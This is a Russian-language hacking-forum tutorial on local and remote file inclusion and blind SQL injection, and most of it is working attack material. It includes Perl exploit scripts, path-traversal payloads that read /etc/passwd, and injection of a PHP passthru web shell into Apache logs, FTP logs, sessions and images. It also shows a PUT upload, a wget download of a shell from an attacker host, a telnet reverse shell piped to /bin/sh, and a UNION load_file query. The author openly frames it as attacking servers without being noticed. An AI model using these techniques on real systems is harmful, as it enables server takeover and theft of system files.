1.Введение
Всем привет,приступим сразу к делу,сегодня я вам расскажу о уже всем известных SQL,XSS,а также о малоизвестных LFI, RFI, SSI, ICH.Я не буду банально рассказывать вам теорию миллиард первый раз о ксс и скулях,я покажу вам что с ними можно сделать ;)Поехали.
2.LFI/RFI
2.1.Введение
Данный тип атак хорошо известен многим,он заключается в том,что когда система считывает файлы используются "плохие" запрограммированые страницы,которые делают отстук на следующие файлы,требуя включать команды)
Логично,что при таких отстуках необохдимо не инициализировать переменные,вот так:
Код:
require($file);
require("includes/".$file);
require("languages/".$lang.".php");
require("themes/".$tema."/config.php");
Методов проексплоить его дохрена поэтому сразу привожу примеры:
Type of call:
Код:
require($file);
Exploit:
Код:
http://host/?file=/etc/passwd
Type of call:
Код:
require("includes/".$file);
Exploit:
Код:
http://host/?file=../../../../../etc/passwd
Type of call:
Код:
require("languages/".$lang.".php");
require("themes/".$theme."/config.php");
Exploit:
Код:
http://host/?file=../../../../../etc/passwd%00
Type of call:
Код:
require("languages/".$_COOKIE['lang'].".php");
Exploit:
Код:
javascript:document.cookie = "lan=../../../../../etc/passwd%00";
А вот этот скрипт поможет вам заекспить данную багу через Post или Get запросы:
Код:
#! /usr/bin/perl
# perl script to exploit LFI based in GET and POST requests
# Example: http://site.com/index.php?var=
# URL: http://site.com/index.php
# Variable: var
# Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
my ($host, $var, $method) = @ARGV ;
unless($ARGV[2]) {
print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
print "\tex: perl $0 http://site.com/index.php var GET\n";
print "\tex: perl $0 http://site.com/index.php var POST\n\n";
exit 1;
}
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);
while () {
print "file to edit: ";
chomp($file=<STDIN>);
if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../..".$file."%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../".$file."%00");
}
$res = $ua->request($req);
if ($res->is_success) {
$result = $res->content;
print $result;
}
else { print "Error\n"; }
}
2.2.Выполнение команды удаленно
Этот тип уязвимости возможен для любой системы,где файлы доступны пользователю для чтения,но можно и выполнять некоторые системные команды.
Для этого нам нужно написать в любом файле этот код:
Код:
<? passthru ($ _GET [CMD])?>
СMD-это имя нашей переменной для отправки данных через GET
Теперь ищем место где можно записать данные,это можно осуществить несколькими способами:
2.2.1 Иньекции в PHP кодах в логах Apache
Мы знаем, что Apache сервер сохраняет логи всех операций, в access_log и
error_log.Мы можем играть с зареганами данными и использовать пхп коды.
Например, чтобы поместить в error_log файл достаточно сделать вызов
несуществующей страницы,но отправку кода осуществляем в файл:
Код:
http://host/xxxxxxx = <? passthru (\ $ _GET [CMD])?>
Это добавит строку в error_log,и нам останется загрузить файл таким же способом как мы делали до этого и отправить через цмд команды для исполнения:
http://host/?file=../../../var/apache/error_log&cmd=ls /etc
Код:
http://host/?file=../../../var/apach..._log&cmd=uname -a
Теперь остается узнать когад мы можем трогать логи апача,а зависит это от операционной системи и админа)Один из вариантов заключается в поиске типичных дерикторий где хранятся логи:
Код:
/var/log/apache/
/var/log/httpd/
/usr/local/apache/logs/
......
В общем на серве мы видим:
Код:
/path/host.com/www
/logs
/data
В этом случае мутим путь файла для несуществующей директории:
http://host/?file=xxxx
И на экране в этом случае увидим:
Инуитивно понятно,что логи в:
/var/www/host.com/logs
Другой вариант,это в файле httpd.conf посмотреть :
ErrorLog /var/log/apache/error.log
Или вот так в шаровом:
ErrorLog /home/chs/host.com/home/logs/error_log
Но как я писал жто зависит от ОС и версии Апача...
Также можно обнаружить логи апача в проц.таблице:
/proc/{PID}/fd/{FD_ID} (только на некоторых системах так канает)
и юзаем этот скрипт:
Код:
#! /usr/bin/perl
# perl script to serach apache logs path
# Example:
# URL: http://site/index.php
# Variable: file
# Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
my ($host, $var, $method) = @ARGV ;
unless($ARGV[2]) {
print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
print "\tex: perl $0 http://site.com/index.php file GET\n";
print "\tex: perl $0 http://site.com/index.php file POST\n\n";
exit 1;
}
$ua->agent("<? passthru(\$_GET[cmd]) ?>");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);
if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../proc/self/stat%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../proc/self/stat%00");
}
$res = $ua->request($req);
if ($res->is_success) {
$result = $res->content;
$result =~ s/<[^>]*>//g;
$x = index($result, " ", 0);
$pid = substr($result, 0, $x);
print "Apache PID: ".$pid."\n";
}
if ($method =~ /GET/) {
$url = $host."?".$var."=../../../../proc/self/status%00";
$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');
}
else {
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content($var."=../../../../proc/self/status%00");
}
$res = $ua->request($req);
if ($res->is_success) {
$result = $res->content;
$result =~ s/<[^>]*>//g;
$x = index($result, "FDSize",0)+8;
$fdsize = substr($result, $x, 3);
print "FD_SIZE: ".$fdsize."\n";
}
for ($cont = 0; $cont < $fdsize; $cont++) {
$file = "../../../../proc/".$pid."/fd/".$cont;
open FILE, $file;
while(<FILE>) {
if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) {
print "FD: ".$cont."\n";
exit;
}
}
}
результат будет примерно таким:
Код:
pepelux:~$ perl proc.pl http://host/index.php page GET
Apache PID: 4191
FD_SIZE: 64
FD: 2
Также можно использовать иньекции через урл,который не возвращает к ошибке:
http://host/index.php?x = <? passthru (\ $ _GET [CMD])?>
ПОможет нам этот скрипт:
Код:
#! /usr/bin/perl
# perl script to inject a CMD in a web LFI vulnerable
# Example:
# Host: http://host.com
# type: U
#
# by Pepelux (pepelux[at]enye-sec[dot]org)
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
my ($host, $type) = @ARGV ;
$code="<? passthru(\$_GET[cmd]) ?>";
unless($ARGV[1]) {
print "Usage: perl $0 <url> [URI|UAG|REF]\n";
print "\tURI: URI\n";
print "\tUAG: User-Agent\n";
print "\tREF: Referer\n\n";
print "\tex: perl $0 http://host.com URI\n";
exit 1;
}
$host = "http://".$host if ($host !~ /^http:/);
if ($type =~ /UAG/) { $ua->agent($code); }
else { $ua->agent("Mozilla/5.0"); }
if ($type =~ /URI/) { $$host .= "/" . $code; }
$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content("x=x");
if ($type =~ /REF/) { $req->referer($code); }
$res = $ua->request($req);
Ввод в error_log для направления в несуществующий урл:
Код:
pepelux:~$ perl cmd.pl http://host.com/blabla URI
В error_log мы видим:
Код:
[Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla
Попытка с User-Agent:
Код:
pepelux:~$ perl cmd.pl http://host.com/blabla UAG
В error_log мы видим одно и то же:
Код:
[Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla
Попытки со ссылками:
Код:
pepelux:~$ perl cmd.pl http://host.com/blabla REF
В этом случае мы получим результат иньекции:
Код:
[Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not
exist: /home/chs/host.com/home/html/blabla, referer: <? passthru($_GET[cmd])
?>
Теперь мы собираемся написать в access_log более менее "весомуб инфу"(чтоб не запалили)
Код:
pepelux:~$ perl cmd.pl http://host.com/index.php URI
В этом случае мы получим:
Код:
11.22.33.44 - - [08/Oct/2008:12:57:39 0200] "POST
/index.php/<? passthru($_GET[cmd]) ?> HTTP/1.1" 301 - "-"
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820
Firefox/3.0.1"
Попытка с User-Agent:
Код:
pepelux:~$ perl cmd.pl http://host.com/index.php UAG
Иньекция:
Код:
11.22.33.44 - - [08/Oct/2008:13:00:05 0200] "POST
/index.php HTTP/1.1" 301 - "-" "<? passthru($_GET[cmd]) ?>"
Попытки со ссылками:
Код:
pepelux:~$ perl cmd.pl http://host.com/index.php REF
Мы также получим инъекцию:
Код:
11.22.33.44 - - [08/Oct/2008:13:00:56 0200] "POST
/index.php HTTP/1.1" 301 - "<? passthru($_GET[cmd]) ?>" "Mozilla/5.0 (X11;
U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1"
2.2.2.Внедрение иньекционных PHP кодов в процессорную таблицу,изображения и сессии
Суть заключается в том,что я отправляю через User-Agent файл http://host/?file=../../../proc/self/environ&cmd=uname - .Впринципе это все для проц.таблы
Насчет изображений,мутим в файл
Код:
<? passthru ($ _GET [CMD])?>
и осуществеление этого способа будет ЛФИ все для того же http://host/?file=path/avatar.gif&cmd=uname -
Уязвимый код в сессии:
Код:
<?php
$user = $_GET['user'];
session_register("user");
session_start();
?>
Как мы видим, она создает сессию с помощью переменной величины, полученной путем GET
без каких-либо проверок.
Мы можем направить:
Код:
http://host/?user = <? passthru ($ _GET [CMD])?>
И при просмотре Cookies нашего штурмана мы можем видеть, что:
PHPSESSID = b25ca6fea480073cf8eb840b203d343e
Анализ сессии папки мы можем видеть содержимое:
Код:
pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e
user
2.2.3.Внедрение кода в другие файлы
Обычно мы не имеем прав для загрузки чего-либо в другие файлы,но у нас же есть ФТП логи:
Код:
pepelux:~$ ftp host.com
220 ProFTPD 1.3.1 Server (Debian) [host.com]
Name (pepelux): <? passthru($_GET[cmd]) ?>
Password:
Если мы посмотрим на /var/log/proftpd/proftpd.log мы увидим,что наш код ввиден:
Код:
Oct 09 21:50:21 host.com proftpd[11190] host.com
([11.22.33.44]): USER <? passthru($_GET[cmd]) ?>: no such user found
from [11.22.33.44] to host.com:21
Если уязвимые сервера используют старую версию Webalizer, мы также можем использовать файл usage_DATE.html для внедрение кода:
Код:
Referer: <? passthru($_GET[cmd]) ?>
В случае, если сервер Apache допускает PUT команды мы также можем загрузить файл
с нашим кодом:
Код:
pepelux:~$ telnet host.com 80
Trying 11.22.33.44...
Connected to host.com.
Escape character is '^]'.
OPTIONS / HTTP/1.1
Код:
HTTP/1.1 200 OK
Date: Sat, 11 Oct 2008 15:06:05 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-5
Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: httpd/unix-directory
Connection closed by foreign host.
Иньекция:
Код:
pepelux:~$ telnet host.com 80
Trying 11.22.33.44...
Connected to host.com.
Escape character is '^]'.
PUT /file.txt HTTP/1.1
Content-Type: text/plain
Content-Length:26
<? passthru($_GET[cmd]) ?>
2.3.Загрузка шелла
Если мы сможем выполнять команды удаленно мы можем попытаться загрузить шелл чтоб иметь больший доступ к системе.
Одним из методов является создание основой шелла.Мы можем загружать его с помощью Wget команды:
Код:
http://host/?file=xxxx&cmd=wget http://devil/shell.txt-O shell.php
Поскольку мы не можем загрузить файл на PHP мы можем замутит в тхт а потом переиминовать)
Мы также можем попытаться сделать обратный Telnet:
Код:
pepelux:~$ nc -vv -l -p 8888
pepelux:~$ nc -vv -l -p 8889
http://host/?file=xxxx&cmd=telnet devil 8888 | /bin/sh | telnet devil 8889
Если allow_url_include в php.ini, мы можем юзать шелл напрямую.Метод известен:
Загружаем через Гет или Пост шелл:
Код:
http://host/?file=http://devil.com/shell.txt
http://host/?file=http://devil.com/shell.txt%00
3Blind SQL-инъекции
Перейду сразу к практите,так как об этих уязвимостях я уже писал в http://forum.xaknet.ru/thread5614.html
И так,Если стоит разрешение на load_file мы можем прочитать некие системные файлы
/etc/passwd
Пример:
Уязвимый код:
Код:
<?php
$iduser = $_GET['$id'];
$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);
$result = mysql_query("SELECT * FROM users WHERE id=$iduser", $link);
$row = mysql_fetch_array($result);
echo "User mail is:" . $row["mail"] . "\n";
?>
Мы незнаем колчиство столбцов и полей,но мы знаем,верное значение http://host/?id=2
Мы пытаемся изменить результаты запроса в SQL-инъекции:
http://host/?id=2 ORDER BY 1 ... Ok
http://host/?id=2 ORDER BY 2 ... Ok
http://host/?id=2 ORDER BY 3 ... Ok
http://host/?id=2 ORDER BY 4 ... Ok
http://host/?id=2 ORDER BY 5 ... Error
Изменяя подзапросы мы подбираем 4 колонки(дело техники):
http://host/?id=-1 UNION SELECT 1,2,3,4
Высылаем соответственно:
http://host/?id=2 UNION SELECT 1,2,3,4
Мы получаем:
Поскольку это первый ряд мы увидм:
User mail is: pepelux@host
Если мы ставим ID =- 1 мы будем получать данные:
Отправялем:
http://host/?id=-1 UNION SELECT 1,2,3,4
Получаем:
На экране мы видим User mail is: 4
Мы можем использовать 4-ую колонку для иньекции:
http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd');
Вобщем что тут разжоыввать,дело техники,писалось об этом неоднакратно и много
ВОбщем конкретно надоело уже писать,всем удачи)))рекомендую к прочтению:
- http://www.g-brain.net/tutorials/loc...inclusions.txt
- http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt
- http://www.securityfocus.com/bid/3473
- http://dev.mysql.com/doc/
(с)baltazar
-------------------------